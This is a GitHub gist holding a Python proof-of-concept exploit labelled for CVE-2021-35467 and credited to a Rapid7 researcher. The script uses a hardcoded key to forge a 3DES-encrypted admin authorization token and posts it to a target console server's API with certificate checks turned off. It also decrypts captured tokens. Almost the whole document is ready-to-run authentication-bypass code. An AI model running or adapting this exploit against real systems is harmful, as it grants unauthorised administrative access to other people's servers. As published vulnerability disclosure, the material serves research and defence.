Skip to content

Instantly share code, notes, and snippets.

@todb-r7
Created September 1, 2021 14:50
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save todb-r7/96fe45a71572a844ab9ee1a06d3d0dfa to your computer and use it in GitHub Desktop.
Save todb-r7/96fe45a71572a844ab9ee1a06d3d0dfa to your computer and use it in GitHub Desktop.
Proof of Concept for CVE-2021-35467 by Jonathan Peterson, Rapid7
# aco-crypt.py
# Copyright Jonathan Peterson of Rapid7, 2021
# MIT License: https://opensource.org/licenses/MIT
import argparse
import hashlib
import os
import sys
import datetime
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives import padding
from cryptography.hazmat.backends import default_backend
import urllib3
urllib3.disable_warnings()
import requests as rq
import base64 as b64
backend = default_backend()
aco_key = "0c8584b9-020b-4db4-9247-22dd329d53d7".encode("utf-8")
key = hashlib.md5(aco_key).digest()
def decrypt(data):
text = b64.b64decode(data)
padder = padding.PKCS7(algorithms.TripleDES.block_size).padder()
unpadder = padding.PKCS7(algorithms.TripleDES.block_size).unpadder()
cipher = Cipher(algorithms.TripleDES(key), modes.ECB(), backend=backend)
decryptor = cipher.decryptor()
decrypted_text = unpadder.update(decryptor.update(text) + decryptor.finalize()) + unpadder.finalize()
print("=== encrypted ===\n{}\n\n=== decrypted ===\n{}".format(data.decode(),decrypted_text.decode()))
def make_auth_token():
template = """<?xml version="1.0" encoding="utf-16"?>\n<Token xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">\n <l>admin</l>\n <un>admin</un>\n <u>change this</u>\n <t>{}-05:00</t>\n <TenantId>5bad271b0ec4bd068b843bf2</TenantId>\n</Token>""".format(datetime.datetime.now().isoformat())
print(template)
text = template.encode()
padder = padding.PKCS7(algorithms.TripleDES.block_size).padder()
unpadder = padding.PKCS7(algorithms.TripleDES.block_size).unpadder()
cipher = Cipher(algorithms.TripleDES(key), modes.ECB(), backend=backend)
encryptor = cipher.encryptor()
encrypted_text = encryptor.update(padder.update(text) + padder.finalize()) + encryptor.finalize()
auth_text = b64.b64encode(encrypted_text)
return auth_text.decode()
if '__main__' == __name__:
# argument parsing
parser = argparse.ArgumentParser()
parser.add_argument("--ip",help="console server to target")
parser.add_argument("--noheaders",help="disable for comparison",default=False,action="store_true")
# random authenticated api call
parser.add_argument("--path",help="custom path... e.g. : /api/tenants",default="/api/users/generatetoken/5bad271b0ec4bd068b843bf2")
parser.add_argument("--decrypt",help="file containing a base64 encoded authorization val to decrypt")
args = parser.parse_args()
if args.decrypt:
data = b''
with open(args.decrypt,'rb') as fh:
data = fh.read()
try:
decrypt(data)
sys.exit(0)
except Exception as e:
print("error decrypting: {}".format(e),file=sys.stderr)
sys.exit(1)
if not args.ip:
print("--ip is required for requests")
sys.exit(1)
auth_text = make_auth_token()
# log the token that got used
with open('tokenused.txt','w') as fh:
try :
fh.write(auth_text)
print("token was written to tokenused.txt")
except Exception as e:
print("error writing token to file: {}\ncontinuing to try to send".format(e),file=sys.stderr)
url = "https://{}{}".format(args.ip,args.path)
headers = {'Authorization': auth_text }
if args.noheaders:
headers = {}
resp =""
try:
resp = rq.post(url, headers=headers,verify=False)
except Exception as e:
print("error during send: {}".format(e),file=sys.stderr)
sys.exit(1)
# output
print("\n\nrequest sent to",url)
print("headers sent:",headers)
print("response code:",resp.status_code)
print("repsonse:",resp.content)
sys.exit(0)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment